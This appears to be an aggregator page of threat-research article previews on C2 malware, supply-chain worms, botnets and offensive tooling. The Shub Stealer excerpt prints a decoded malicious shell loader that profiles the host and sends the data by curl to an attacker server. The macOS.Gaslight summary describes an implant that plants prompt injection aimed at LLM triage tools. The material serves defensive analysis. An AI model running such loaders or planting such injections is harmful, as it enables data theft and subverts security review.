# C2 Published articles for C2. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure DevFeed: [Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure]() Original publisher: [Read original article]() Author: Rem Dudas Published: 2026-09-09T10:00:55Z Content type: article Language: en Sources: [Unit 42]() Topics: [ARKTunnel](), [backdoor]() Tags: [arktunnel](), [backdoor](), [c2](), [cl-cri-1171](), [cybercrime](), [docro-hijacker](), [gaming](), [malware](), [pay-per-install](), [payload](), [remote-access-trojan](), [threat-research](), [youtube]() ### AI overview An investigation of the CL-CRI-1171 cybercrime campaign describes how YouTube gaming lures and SEO poisoning delivered malware through a custom loader. It covers Docro Hijacker, ARKTunnel, and the Insomnia remote access Trojan. ### Source excerpt An investigation into how cybercriminals used YouTube gaming lures and SEO poisoning to deliver multi-payload malware to enterprise networks. The post Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure appeared first on Unit 42. ## Impersonating IT support: how threat actors turn a remote session into enterprise-wide access DevFeed: [Impersonating IT support: how threat actors turn a remote session into enterprise-wide access]() Original publisher: [Read original article]() Author: Microsoft Security Research, Sagar Patil, Arlette Umuhire Sangwa, Jesse Birch and Ravikant Tiwari Published: 2026-09-02T22:51:18Z Content type: article Language: en Sources: [Microsoft Security Blog]() Topics: [High Profile Threats](), [Node.js]() Tags: [c2](), [identity](), [infrastructure](), [javascript](), [microsoft-teams](), [node-js](), [powershell](), [security](), [social-engineering](), [windows]() ### AI overview Microsoft analyzes an intrusion campaign in which attackers impersonate IT support through Microsoft Teams, obtain remote access, deploy a Node.js and JavaScript implant, and move laterally through enterprise systems. The article provides detection, mitigation, and hunting guidance. ### Source excerpt Microsoft Threat Intelligence observed a human-operated intrusion campaign that abuses Microsoft Teams external collaboration to impersonate IT support, gain remote access, and deploy a Node.js-based implant. Learn how attackers move from social engineering to lateral movement using legitimate tools, and how Microsoft Defender helps detect and disrupt the activity. The post Impersonating IT support: how threat actors turn a remote session into enterprise-wide access appeared first on Microsoft Security Blog. ## TerminalFix campaign deploys a reverse tunnel through multistage intrusion DevFeed: [TerminalFix campaign deploys a reverse tunnel through multistage intrusion]() Original publisher: [Read original article]() Author: Microsoft Security Research, Sagar Patil, Suriyaraj Natarajan and Parasharan Raghavan Published: 2026-08-29T03:43:27Z Content type: article Language: en Sources: [Microsoft Security Blog]() Topics: [High Profile Threats]() Tags: [analysis](), [c2](), [clickfix](), [cloudflare](), [microsoft](), [persistence](), [powershell](), [python](), [ransomware](), [security](), [windows]() ### AI overview Microsoft analyzes the TerminalFix ClickFix campaign, which uses a fake Cloudflare CAPTCHA to induce PowerShell execution and deploys a multi-stage intrusion chain. The chain includes DLL sideloading, steganographic payload delivery, Active Directory reconnaissance, persistence, and an encrypted reverse tunnel that can provide access into the compromised network. ### Source excerpt Microsoft Threat Intelligence provides analysis of a ClickFix campaign that uses fake CAPTCHA prompts, DLL sideloading, and a reverse tunnel, with detections and hunting guidance. The post TerminalFix campaign deploys a reverse tunnel through multistage intrusion appeared first on Microsoft Security Blog. ## Connecting the Dots: Securing the Overlooked Corners of the Software Development Lifecycle (SDLC) Supply Chain DevFeed: [Connecting the Dots: Securing the Overlooked Corners of the Software Development Lifecycle (SDLC) Supply Chain]() Original publisher: [Read original article]() Author: Yaron Avital Published: 2026-08-21T23:00:21Z Content type: article Language: en Sources: [Unit 42]() Topics: [sdlc](), [Security](), [Application Security](), [CI/CD](), [GitHub Actions](), [npm](), [Bun](), [Python](), [Claude Code](), [vs-code](), [Claude](), [Ethereum]() Tags: [blockchain](), [c2](), [chaindrop](), [ci-cd](), [claude-code](), [general](), [github-actions](), [insights](), [malware](), [npm-packages](), [persistence](), [python](), [sdlc](), [security](), [software-supply-chain-attack](), [supply-chain](), [vs-code]() ### AI overview Unit 42 describes how software supply-chain attackers are targeting developer tools, CI/CD pipelines, accounts, packages, setup scripts and developer environments before software reaches production. It examines the ChainDrop npm worm, which used malicious preinstall hooks, a Bun runtime, an obfuscated payload, Python-based memory theft, stolen tokens and secrets, self-propagation, persistence in VS Code and Claude Code, and Ethereum-managed command-and-control infrastructure. ### Source excerpt Attackers are targeting CI/CD pipelines and developer tools instead of application code, requiring total SDLC visibility and strict security controls The post Connecting the Dots: Securing the Overlooked Corners of the Software Development Lifecycle (SDLC) Supply Chain appeared first on Unit 42. ## N4D Mesh Controller: New infrastructure, a UPX-packed agent labeled "go-titan," and how to hunt for it DevFeed: [N4D Mesh Controller: New infrastructure, a UPX-packed agent labeled "go-titan," and how to hunt for it]() Original publisher: [Read original article]() Author: Zander Mackie Published: 2026-08-20T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [Malware](), [Model Context Protocol](), [MCP Server](), [Credential theft](), [Persistence](), [C2](), [Linux](), [AI Infrastructure](), [Go Language]() Tags: [ai-infrastructure](), [c2](), [credential-theft](), [go](), [linux](), [malware](), [mcp](), [mcp-server](), [persistence]() ### AI overview Datadog Security Research analyzes an active N4D Mesh Controller malware campaign targeting exposed MCP servers and other internet-facing services. The article documents a newer UPX-packed go-titan loader-to-agent chain, rotated infrastructure, Linux persistence mechanisms, automated MCP tool discovery and command execution, and broad scanning across databases, container platforms, application servers, and AI infrastructure. ### Source excerpt Datadog Security Research executed a newer N4D Mesh Controller sample in isolated microVMs, uncovering rotated infrastructure, a UPX-packed go-titan agent, MCP tool abuse in action, and direct runtime evidence of multi-service scanning and persistence. ## Kimwolf v7: An Evolution of the Kimwolf Botnet DevFeed: [Kimwolf v7: An Evolution of the Kimwolf Botnet]() Original publisher: [Read original article]() Author: Asher Davila, Chris Navarrete and Doel Santos Published: 2026-08-11T10:00:16Z Content type: article Language: en Sources: [Unit 42]() Topics: [Kimwolf v7](), [Android](), [DDoS](), [Internet of things](), [C2](), [Ethereum Name Service (ENS)](), [Malware](), [Cybercrime](), [Ethereum](), [Blockchain](), [Routing (disambiguation)](), [Threat Hunting & Intel]() Tags: [android](), [android-apk](), [blockchain](), [c2](), [ddos](), [devices](), [ethereum](), [http](), [iot-botnets](), [kimwolf-v7](), [linux](), [malware](), [network](), [networks](), [resilience](), [routing](), [rpc](), [spoofing](), [threat-research]() ### AI overview Kimwolf v7 is an Android and IoT botnet variant that adds HTTP/2-based DDoS flooding with browser fingerprinting, Ethereum Name Service resolution for C2 addresses, and Tor-backed routing to improve infrastructure resilience. The article also describes its targeting of Android TV devices and exploitation of unauthenticated ADB instances. ### Source excerpt Discover how Kimwolf v7 targets Android IoT devices with HTTP/2 DDoS fingerprinting, Ethereum ENS C2 resolution and Tor backup routing. The post Kimwolf v7: An Evolution of the Kimwolf Botnet appeared first on Unit 42. ## The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications DevFeed: [The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications]() Original publisher: [Read original article]() Author: Chris Navarrete, Sai Sathvik Ruppa and Haozhe Zhang Published: 2026-08-10T22:00:02Z Content type: article Language: en Sources: [Unit 42]() Topics: [Aeternum](), [C++](), [Firewall]() Tags: [aeternum](), [analysis](), [blockchain](), [c-plus-plus](), [c2](), [infection-chain](), [json](), [malware](), [python](), [rpc](), [telegram](), [threat-research](), [xmrig](), [xor]() ### AI overview An analysis of the Aeternum botnet loader, which uses Polygon blockchain smart contracts and public RPC endpoints for decentralized command-and-control. It also examines related Python malware using the Telegram API and a blended threat involving XWorm RAT, XMRig, and data exfiltration. ### Source excerpt Analysis of the Aeternum botnet loader, a threat leveraging Polygon blockchain smart contracts for decentralized C2 infrastructure and payload execution. The post The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications appeared first on Unit 42. ## ChainDrop: Inside a Self-Propagating npm Worm DevFeed: [ChainDrop: Inside a Self-Propagating npm Worm]() Original publisher: [Read original article]() Author: Unit 42 Published: 2026-08-06T22:26:39Z Content type: article Language: en Sources: [Unit 42]() Topics: [ChainDrop](), [npm](), [Malware](), [C2](), [Ethereum](), [GitHub Actions](), [GitHub](), [CI/CD](), [Security]() Tags: [blockchain](), [c2](), [chaindrop](), [ci](), [claude-code](), [developer-tooling](), [ethereum](), [github](), [github-actions](), [high-profile-threats](), [infrastructure](), [malware](), [security](), [ssh](), [supply-chain](), [tokens]() ### AI overview This article analyzes ChainDrop, a self-propagating npm worm that infected more than 400 packages and threatened developer workstations, CI pipelines, cloud environments and downstream users. It describes credential and token theft, GitHub Actions runner memory extraction, package republishing, persistence through developer and AI coding tools, blockchain-based C2 resolution, and C2 reconfiguration through an Ethereum transaction. ### Source excerpt Analysis of ChainDrop, an npm supply chain worm extracting GitHub Actions runner secrets and using Ethereum smart contracts for C2 routing. The post ChainDrop: Inside a Self-Propagating npm Worm appeared first on Unit 42. ## Compromised AsyncAPI npm packages: inside a CI supply-chain attack DevFeed: [Compromised AsyncAPI npm packages: inside a CI supply-chain attack]() Original publisher: [Read original article]() Author: Christophe Tafani-Dereeper, Sebastian Obregoso, Eslam Salem Published: 2026-07-14T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [npm](), [Malware](), [ci](), [GitHub](), [C2](), [JavaScript](), [Cryptography](), [IPFS](), [P2P](), [cloud-infrastructure](), [Nostr]() Tags: [c2](), [ci](), [cryptography](), [github](), [go](), [infrastructure](), [javascript](), [malware](), [network](), [npm-packages](), [supply-chain]() ### AI overview This security article examines a CI supply-chain attack in which four compromised @asyncapi npm packages distributed credential-stealing malware. It traces the injected GitHub code, its IPFS-hosted second stage, encrypted configuration, credential harvesting, persistence mechanisms, and resilient command-and-control channels. ### Source excerpt On July 14, 2026, four npm packages in the @asyncapi namespace, totaling over 3 million weekly downloads, were compromised to deliver credential-stealing malware. We investigate how the attack unfolded and how to know if you're affected. ## One Target, Two Flags | Rival Espionage Actors Converge On Pakistani Law Enforcement DevFeed: [One Target, Two Flags | Rival Espionage Actors Converge On Pakistani Law Enforcement]() Original publisher: [Read original article]() Author: Aleksandar Milenkoski & Julian-Ferdinand Vögele Published: 2026-07-09T12:55:00Z Content type: article Language: en Sources: [SentinelLabs - We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms.]() Topics: [Security](), [C2](), [web applications](), [data](), [Server](), [Network]() Tags: [analysis](), [attacks](), [c2](), [china](), [data](), [identity](), [india](), [pakistan](), [security](), [servers](), [web-applications]() ### AI overview An analysis of cyberespionage intrusions targeting Pakistani law enforcement organizations from 2024 to 2026. Suspected China- and India-nexus actors converged on Balochistan Police, compromising servers, network appliances, and web applications containing police and citizen data, including biometric, criminal, identity-linked, and personnel records. ### Source excerpt China and India ran separate espionage operations against the same Pakistani police force, each drawn by different stakes in Pakistan's internal security. ## SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System DevFeed: [SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System]() Original publisher: [Read original article]() Author: Joshua Platt Published: 2026-07-06T18:54:30Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Artificial Intelligence](), [Malware](), [Threat Research](), [PowerShell](), [C2](), [Caching](), [Encryption](), [Resilience](), [Routing (disambiguation)](), [Polymorphism](), [Back end](), [Spec Driven Development]() Tags: [ai](), [artificial-intelligence](), [backend](), [c2](), [cache](), [cybersecurity](), [detection-engineering](), [encryption](), [malware](), [malware-analysis](), [polymorphism](), [powershell](), [resilience](), [routing](), [spec-driven-development](), [threat-intelligence]() ### AI overview The article describes SpectrePaste, a previously undocumented fileless malware delivery system that threat actors used with AI as its primary orchestrator and developer. Its early architecture included automated AMSI-bypass generation, XOR-encrypted payloads, resilient command-and-control traffic handling, caching, request queuing, and administrative priority routing. ### Source excerpt by Joshua Platt and Jason Reaves [TLP:CLEAR] Earlier this year, Google Threat Intelligence[1] reported threat actors are increasingly deploying novel, AI-enabled malware in active operations[2]. While investigating a recent OSINT article[3] on malware campaign activity reported as "DeepLoad", our threat intelligence team identified a separate, previously undocumented fileless delivery system we track as "SpectrePaste". The prior public reporting correctly suspected AI involvement in the "DeepLoad" delivery chain, but our analysis reveals a more conclusive and concerning reality. AI did not just play a supporting role. It acted as the primary orchestrator and developer behind the entire SpectrePaste system. Threat actors internally referred to the early system as "PasteFast Panel." In this initial iteration, the system was highly modular, structured, and designed specifically for resilience against high-volume bot traffic. One of the hallmarks of automated, AI-assisted development. The early architecture functioned as a centralized PowerShell payload delivery system with several notable features: Automated Evasion Generation: The paste builder module automatically prepended Anti-Malware Scan Interface (AMSI) bypass scripts to payloads upon creation, followed by XOR encryption using a custom obfuscator template. This ensured every payload served was dynamically packed. C2 Resilience & High-Load Handling: The most sophisticated feature of the early version was its custom cache manager queue system. The threat actors anticipated massive, simultaneous beaconing from compromised hosts. To prevent database exhaustion, the panel featured an automated threshold toggle. During traffic spikes, the system queued requests, cached the encrypted payloads in memory, and deduplicated IP addresses to ensure a single infected bot could not inadvertently DDoS the command server. Admin Priority Routing: Developer requirements explicitly prioritized operator access. Administrative routes ## macOS.Gaslight | Rust Backdoor Turns Prompt Injection on the Analyst, Not the Sandbox DevFeed: [macOS.Gaslight | Rust Backdoor Turns Prompt Injection on the Analyst, Not the Sandbox]() Original publisher: [Read original article]() Author: Phil Stokes Published: 2026-06-23T21:59:42Z Content type: article Language: en Sources: [SentinelLabs - We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms.]() Topics: [AI Bots](), [AI Chat]() Tags: [agent](), [analysis](), [api](), [apple](), [attacks](), [backdoor](), [c2](), [data](), [llm](), [logs](), [macos](), [malware](), [payload](), [rust](), [sandbox](), [spoof](), [telegram](), [tls](), [update](), [virustotal]() ### AI overview SentinelLABS analyzes macOS.Gaslight, a Rust implant whose embedded prompt injection attempts to derail LLM-assisted malware triage. The report describes Telegram Bot API command and control, encrypted communications, token redaction, and a suspected DPRK-linked activity cluster. ### Source excerpt DPRK-linked implant embeds 38 fabricated system messages that spoof an LLM triage harness, hiding a credential stealer and Telegram C2 underneath. ## @mastra npm scope takeover: 143 packages backdoored via compromised contributor account DevFeed: [@mastra npm scope takeover: 143 packages backdoored via compromised contributor account]() Original publisher: [Read original article]() Published: 2026-06-17T00:00:00Z Content type: article Language: en Sources: [Chainguard: Unchained]() Topics: [npm](), [Malware](), [Remote Access Trojan](), [Cryptocurrency](), [C2]() Tags: [c2](), [chainguard-libraries](), [chainguard-packages](), [command-and-control](), [crypto](), [malware](), [mastra](), [npm](), [npm-takeover](), [packages](), [provenance](), [remote-access](), [remote-access-trojan](), [secure-packages](), [software-packages](), [supply-chain](), [tls]() ### AI overview The article reports that an attacker used a compromised former contributor account to republish all 143 packages in the @mastra npm scope on June 17, 2026. The malicious versions could disable TLS verification, download a cryptocurrency wallet stealer and remote access trojan, and establish command-and-control access. It recommends auditing dependency trees and lockfiles and rotating credentials on affected hosts. ### Source excerpt A supply chain attack compromised all 143 @mastra packages. Chainguard customers stayed protected through malware blocking and source-built libraries. ## Mini Shai-Hulud Hits AntV: 300+ Malicious npm Packages Published via Compromised Maintainer Account DevFeed: [Mini Shai-Hulud Hits AntV: 300+ Malicious npm Packages Published via Compromised Maintainer Account]() Original publisher: [Read original article]() Author: Liran Tal Published: 2026-05-18T23:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [Data visualization](), [npm packages](), [Malware](), [npm](), [C2](), [Bun](), [JavaScript](), [GitHub]() Tags: [awareness](), [blog](), [c2](), [data-visualization](), [developer](), [devops](), [devrel](), [javascript](), [malware](), [npm-packages](), [payload](), [secrets](), [security](), [snyk-open-source](), [snyk-platform](), [supply-chain](), [supply-chain-security](), [teampcp](), [tokens]() ### AI overview This article analyzes the Mini Shai-Hulud supply-chain attack targeting the AntV data visualization ecosystem through a compromised npm maintainer account. It describes the mass publication of malicious package versions, the embedded Bun payload, credential and secret theft, C2 persistence, and self-propagation using stolen npm tokens. ### Source excerpt A compromised npm maintainer account triggered an automated burst of over 300 malicious package versions across 323 packages in the AntV data visualization ecosystem, part of the ongoing Mini Shai-Hulud supply chain worm campaign. Here's what the malware does, how to detect exposure, and how to respond. ## Shai-Hulud Goes Open Source DevFeed: [Shai-Hulud Goes Open Source]() Original publisher: [Read original article]() Author: Ryan Simon, Sebastian Obregoso, Greg Foss Published: 2026-05-13T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [Open Source](), [Code](), [TypeScript](), [Bun](), [JavaScript](), [CI/CD](), [Cloud](), [Persistence](), [Linux](), [macOS](), [AI Agent](), [ssh]() Tags: [analysis](), [attacks](), [c2](), [ci-cd](), [cloud](), [code](), [framework](), [github](), [javascript](), [kubernetes](), [linux](), [macos](), [open-source](), [persistence](), [ssh](), [supply-chain](), [teampcp](), [typescript]() ### AI overview A static analysis of the Shai-Hulud offensive framework attributed to TeamPCP. The article examines its TypeScript/Bun architecture, credential harvesting, supply-chain poisoning, CI/CD targeting, persistence, and encrypted data exfiltration. ### Source excerpt A static analysis of the open-sourced Shai-Hulud offensive framework attributed to TeamPCP, covering its credential harvesting, supply chain poisoning, and exfiltration capabilities. ## Shub Stealers Fake Crypto Apps DevFeed: [Shub Stealers Fake Crypto Apps]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:34:44Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Security](), [C2](), [Bash](), [Zsh](), [payload](), [telemetry](), [API](), [JSON]() Tags: [c2](), [code](), [infosec](), [json](), [macos](), [malware](), [payload](), [reverse-engineering](), [security](), [shell](), [shell-script](), [telemetry](), [zsh]() ### AI overview Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure. ### Source excerpt By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec /dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa ## Malicious axios versions published to npm: Chainguard customers protected DevFeed: [Malicious axios versions published to npm: Chainguard customers protected]() Original publisher: [Read original article]() Published: 2026-03-31T00:00:00Z Content type: article Language: en Sources: [Chainguard: Unchained]() Topics: [axios](), [npm](), [Remote Access Trojan](), [Open Source](), [JavaScript](), [payload](), [Single-page application (SPA)](), [Filesystems](), [HTTP](), [Script](), [Linux](), [macOS]() Tags: [axios](), [axios-attack](), [axios-npm-attack](), [axios-supply-chain-attack](), [c2](), [chainguard-actions](), [chainguard-axios](), [chainguard-libraries](), [chainguard-npm-libraries](), [dependency](), [files](), [http](), [javascript](), [linux](), [macos](), [npm](), [npm-packages](), [payload](), [remote-access-trojan](), [script](), [supply-chain-attacks](), [windows]() ### AI overview The article reports that two malicious axios versions were published to npm with a hidden dependency that deployed a cross-platform remote access trojan on macOS, Windows, and Linux. It explains the compromised maintainer account, post-install execution, command-and-control communication, payload delivery, and recommended auditing and remediation steps. Chainguard customers were protected by package-blocking and source-verification controls. ### Source excerpt Malicious axios versions on npm delivered a RAT via a hidden dependency. Chainguard customers were protected by blocking unsafe packages and verifying source. ## Axios npm Package Compromised: Supply Chain Attack Delivers Cross-Platform RAT DevFeed: [Axios npm Package Compromised: Supply Chain Attack Delivers Cross-Platform RAT]() Original publisher: [Read original article]() Author: Liran Tal Published: 2026-03-30T23:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [npm](), [StreamRAT](), [cross-platform](), [JavaScript](), [CI/CD](), [ide](), [client](), [GitHub]() Tags: [analysis](), [awareness](), [blog](), [c2](), [ci](), [ci-cd](), [code](), [developer](), [devrel](), [github](), [javascript](), [macos](), [malware](), [obfuscation](), [payload](), [remote-access-trojan](), [security](), [server](), [snyk-open-source](), [snyk-platform](), [supply-chain](), [supply-chain-security]() ### AI overview The article analyzes a supply-chain attack in which malicious Axios versions published to npm through a compromised maintainer account introduced a hidden dependency. Installing the affected packages could trigger a postinstall dropper that downloaded a platform-specific remote access trojan, contacted a command-and-control server, and erased evidence after execution. ### Source excerpt Meta description: Malicious versions of the Axios npm package (1.14.1 and 0.30.4) were published via a compromised maintainer account, injecting a hidden dependency that deploys a cross-platform remote access trojan. Here's what happened, who's affected, and how to check your exposure. ## How to protect your organization from the telnyx PyPI compromise DevFeed: [How to protect your organization from the telnyx PyPI compromise]() Original publisher: [Read original article]() Published: 2026-03-27T00:00:00Z Content type: article Language: en Sources: [Chainguard: Unchained]() Topics: [Malware](), [open-source-security](), [SDKs](), [C2](), [Python](), [API keys](), [Encryption](), [Open Source](), [chainguard](), [ssh](), [GitHub Actions]() Tags: [api-keys](), [c2](), [chainguard](), [chainguard-libraries](), [encryption](), [github-actions](), [malware](), [open-source-security](), [pypi](), [pypi-attack](), [pypi-compromise](), [rsa](), [security](), [ssh](), [supply-chain](), [teampcp](), [telnyx](), [telnyx-attack](), [telnyx-compromise](), [trivy]() ### AI overview The article explains that malicious versions 4.87.1 and 4.87.2 of the Telnyx Python SDK were published to PyPI after publishing credentials were compromised. The malware executes at module scope, downloads from a remote C2 server, and uses a WAV file to conceal a Windows persistence binary or credential harvester for Linux and macOS. It recommends immediate removal, version pinning, credential rotation, and persistence checks. The article also attributes the attack to TeamPCP and connects it to a broader coordinated supply chain campaign. ### Source excerpt Malicious telnyx versions hit PyPI in a wider supply chain attack. Chainguard customers stayed protected by using source-built, verified libraries. ## Blog: Automate Kubernetes Network Security with Falco Talon DevFeed: [Blog: Automate Kubernetes Network Security with Falco Talon]() Original publisher: [Read original article]() Published: 2024-02-09T00:00:00Z Content type: article Language: en Sources: [Falco - Falco](), [Falco - The Falco blog]() Topics: [Kubernetes](), [Falco](), [network security](), [threat detection](), [C2]() Tags: [c2](), [falco](), [kubernetes](), [network-security](), [security](), [security-concept](), [threat-detection]() ### AI overview This article explains how Falco Talon can automate Kubernetes network security by responding to detected threats and updating network policies. It describes the limitations of IP-based policies and proposes using labels to isolate suspicious network traffic at runtime. ### Source excerpt Falco Talon Repository: https://github.com/Falco-Talon/falco-talon Falco Talon Documentation: https://falco-talon.github.io/ Falco Talon is currently under active development and remains in the alpha stage; therefore, breaking changes may occur at any time, and the documentation may not always be up to date. Setting up robust network security in Kubernetes is a challenge that demands both precision and adaptability. NetworkPolicy offers the potential for highly specific network configurations, enabling or blocking traffic based on a comprehensive set of criteria. However, the dynamic nature of network topologies and the complexities of managing policy implementations present ongoing challenges. The need for constant policy updates, especially in response to changing threat landscapes, introduces risks such as the potential for misconfiguration and the unintended dropping of packets. The Challenge of IP-Based Network Policies Building network policies around IP addresses is notoriously challenging. For instance, threat feeds, which list known malicious IP addresses, are constantly changing. An IP address associated with a malicious entity one week might be reassigned and deemed safe the next. This fluidity necessitates an agile approach to network policy management, integrating solutions like NetworkSets to dynamically update policies based on the latest intelligence. However, the sheer volume of threat intelligence feeds - from Tor IP lists to cryptomining blocklists - complicates this integration, making it a daunting task to maintain accurate network controls. Here, Falco Talon emerges as a transformative solution. By leveraging Falco's detection capabilities, such as identifying Outbound Connections to C2 Servers, Falco Talon can instantly update Kubernetes network policies to block all egress traffic except allowed CIDR ranges. This is facilitated through the kubernetes:networkpolicy Talon action, demonstrating a seamless integration of dynamic threat detection ## Snyk Fetch the Flag CTF 2023 writeup: Silent Cartographer DevFeed: [Snyk Fetch the Flag CTF 2023 writeup: Silent Cartographer]() Original publisher: [Read original article]() Author: John Hammond Published: 2023-11-30T06:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [ctf](), [C2](), [JSON Web Tokens](), [web applications](), [Server]() Tags: [apis](), [awareness](), [blog](), [c2](), [code](), [ctf](), [developer](), [exploits](), [external](), [security](), [server](), [web](), [web-app]() ### AI overview This Snyk writeup explains the solution to the Silent Cartographer challenge from the 2023 Fetch the Flag CTF. The challenge involves exploiting Covenant, a C2 web application, by forging a JWT with a default secret key, obtaining administrative access, modifying the exploit to use an available port, and handling the resulting reverse shell through a tunneling service. ### Source excerpt If you were at Snyk's 2023 Fetch the Flag and are looking for the answer to the Silent Cartographer challenge, you've come to the right place. Let's walk through the solution together! ## In-Process Patchless AMSI Bypass DevFeed: [In-Process Patchless AMSI Bypass]() Original publisher: [Read original article]() Author: CCob Published: 2022-04-17T16:30:25Z Content type: tutorial Language: en Sources: [Ethical Chaos]() Topics: [Windows](), [Exception](), [exceptions](), [debug](), [C2](), [Processes]() Tags: [article](), [breakpoint](), [bypass](), [c2](), [context](), [debugger](), [edr](), [exception](), [exception-handling](), [execution](), [extension](), [windows]() ### AI overview This article explains an in-process, patchless AMSI bypass approach using vectored exception handling. It contrasts this technique with SharpBlock's debugger-based child-process method and describes manipulating thread context at the point an exception occurs. ### Source excerpt Some of you may remember my patchless AMSI bypass article and how it was used inside SharpBlock to bypass AMSI on the child process that SharpBlock spawns. This is all well a good when up against client environments that are not too sensitive to the fork and run post exploitation model of operating. What about [...] The post In-Process Patchless AMSI Bypass appeared first on Ethical Chaos. ## Merging C# Assemblies using dnMerge DevFeed: [Merging C# Assemblies using dnMerge]() Original publisher: [Read original article]() Author: CCob Published: 2021-07-04T08:32:55Z Content type: tutorial Language: en Sources: [Ethical Chaos]() Topics: [C#](), [Linux](), [.NET](), [C2](), [Compression](), [Deployment]() Tags: [assembly](), [c-sharp](), [c2](), [cobalt-strike](), [compression](), [costura](), [deployment](), [dnmerge](), [linux](), [merge](), [net](), [tooling]() ### AI overview This developer article explains why Costura can introduce .NET Core assembly references when merging C# assemblies during Linux-based cross-compilation. It introduces dnMerge, an MSBuild plugin that merges and compresses reference assemblies while retaining Linux cross-compilation support, and describes its use of LZMA compression. ### Source excerpt Introduction When it comes to automating builds for any project that I undertake, my goto OS is usually Linux. Generally I find the deployment of build nodes easier to deploy and manage and usually cheaper than their Windows counterparts. The problem with this of course is Windows based software generally needs cross-compiling in someway or [...] The post Merging C# Assemblies using dnMerge appeared first on Ethical Chaos. ## SweetPotato - Local Service to SYSTEM DevFeed: [SweetPotato - Local Service to SYSTEM]() Original publisher: [Read original article]() Author: CCob Published: 2020-04-13T17:30:53Z Content type: article Language: en Sources: [Ethical Chaos]() Topics: [Exploit](), [Windows](), [.NET](), [Security](), [C2]() Tags: [c-sharp](), [c2](), [cobalt-strike](), [dcom](), [exploit](), [juicypotato](), [privesc](), [rottenpotato](), [sweetpotato](), [weaponize](), [windows](), [winrm]() ### AI overview This article introduces SweetPotato, a C# rewrite of JuicyPotato that performs local service-account to SYSTEM privilege escalation on Windows. It adds a BITS/WinRM-based technique and can automatically select between exploit methods depending on the Windows version. ### Source excerpt Upgraded JuicyPotato performing Local Service to SYSTEM privilege escalation on Windows 7 to the latest Windows 10 / Server 2019. The post SweetPotato - Local Service to SYSTEM appeared first on Ethical Chaos. [Next page]()